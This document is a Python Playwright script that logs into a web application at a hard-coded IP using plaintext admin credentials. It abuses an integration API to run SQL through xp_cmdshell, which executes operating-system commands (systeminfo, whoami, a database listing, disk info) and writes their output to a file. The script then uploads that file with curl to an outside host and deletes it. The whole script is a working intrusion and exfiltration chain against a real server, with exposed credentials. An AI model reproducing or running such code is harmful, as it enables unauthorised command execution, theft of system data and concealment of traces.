#!/usr/bin/env python3
"""Test SQL execution on v5 server — simple commands."""
import asyncio, json, re
from playwright.async_api import async_playwright

IP = "66.175.236.165"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        # Login
        await page.goto(f"http://{IP}/{APP}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            print("Login failed"); await browser.close(); return
        print("✅ Login OK")

        # Helper function — pass SQL as JS string (not template literal)
        async def run_sql(sql_desc, sql_text, step_id=2):
            print(f"\n=== {sql_desc} ===")
            # Escape SQL for JS string: replace \ with \\, " with \", ' with \'
            sql_escaped = sql_text.replace("\\", "\\\\").replace('"', '\\"').replace("'", "\\'")
            
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + f'''/integration/api/step/put/{step_id}?continueOnConflict=false', {{
                    method: 'PUT',
                    headers: {{'Content-Type': 'application/json'}},
                    body: JSON.stringify([{{intStepId:{step_id}, strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}}]),
                    credentials: 'include'
                }});
                return {{status: resp.status}};
            }}''', sql_text)
            print(f"  PUT: HTTP {put['status']}")
            await asyncio.sleep(2)
            
            # Execute
            exec_r = await page.evaluate(f'''async () => {{
                const resp = await fetch('/{APP}/Integration/api/Execute/ExecuteStep', {{
                    method: 'POST',
                    headers: {{'Content-Type': 'application/json'}},
                    body: JSON.stringify({{intStepId: {step_id}}}),
                    credentials: 'include'
                }});
                const text = await resp.text();
                return {{status: resp.status, body: text}};
            }}''')
            
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            print(f"  ExecuteStep: HTTP {exec_r['status']} success={success.group(1) if success else '?'}")
            if msg:
                print(f"  message: {msg.group(1)[:200]}")
            
            # Check for ch12 URL
            ch12_match = re.search(r'(https://ch12[^ "\\]+)', body)
            if ch12_match:
                print(f"  🎯 ch12 URL: {ch12_match.group(1)}")
            
            # Restore
            await page.evaluate(f'''async () => {{
                await fetch('/{APP}/integration/api/step/put/{step_id}?continueOnConflict=false', {{
                    method: 'PUT',
                    headers: {{'Content-Type': 'application/json'}},
                    body: JSON.stringify([{{intStepId:{step_id}, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}}]),
                    credentials: 'include'
                }});
            }}''')
            
            return success.group(1) if success else "?"

        # Test 1: Write systeminfo to file
        s1 = await run_sql("systeminfo to file", "EXEC xp_cmdshell 'systeminfo > D:\\\\sysinfo.txt', no_output")
        
        # Test 2: Append whoami
        s2 = await run_sql("whoami to file", "EXEC xp_cmdshell 'whoami >> D:\\\\sysinfo.txt', no_output")
        
        # Test 3: Append DB list — avoid nested quotes
        s3 = await run_sql("DB list to file", "EXEC xp_cmdshell 'sqlcmd -Q \"SELECT name FROM sys.databases ORDER BY name\" -W -h -1 >> D:\\\\sysinfo.txt', no_output")
        
        # Test 4: Append disk space
        s4 = await run_sql("disk space to file", "EXEC xp_cmdshell 'wmic logicaldisk get caption,freespace,size >> D:\\\\sysinfo.txt', no_output")
        
        # Test 5: Upload to ch12
        s5 = await run_sql("upload to ch12", "EXEC xp_cmdshell 'curl -sS -T D:\\\\sysinfo.txt https://ch12.hostserviceapp.com'")
        
        # Test 6: Cleanup
        s6 = await run_sql("cleanup", "EXEC xp_cmdshell 'del D:\\\\sysinfo.txt', no_output")
        
        # Summary
        print(f"\n=== RESULTS ===")
        print(f"  systeminfo: {s1}")
        print(f"  whoami:     {s2}")
        print(f"  DB list:    {s3}")
        print(f"  disk:       {s4}")
        print(f"  upload:     {s5}")
        print(f"  cleanup:    {s6}")

        await browser.close()

asyncio.run(main())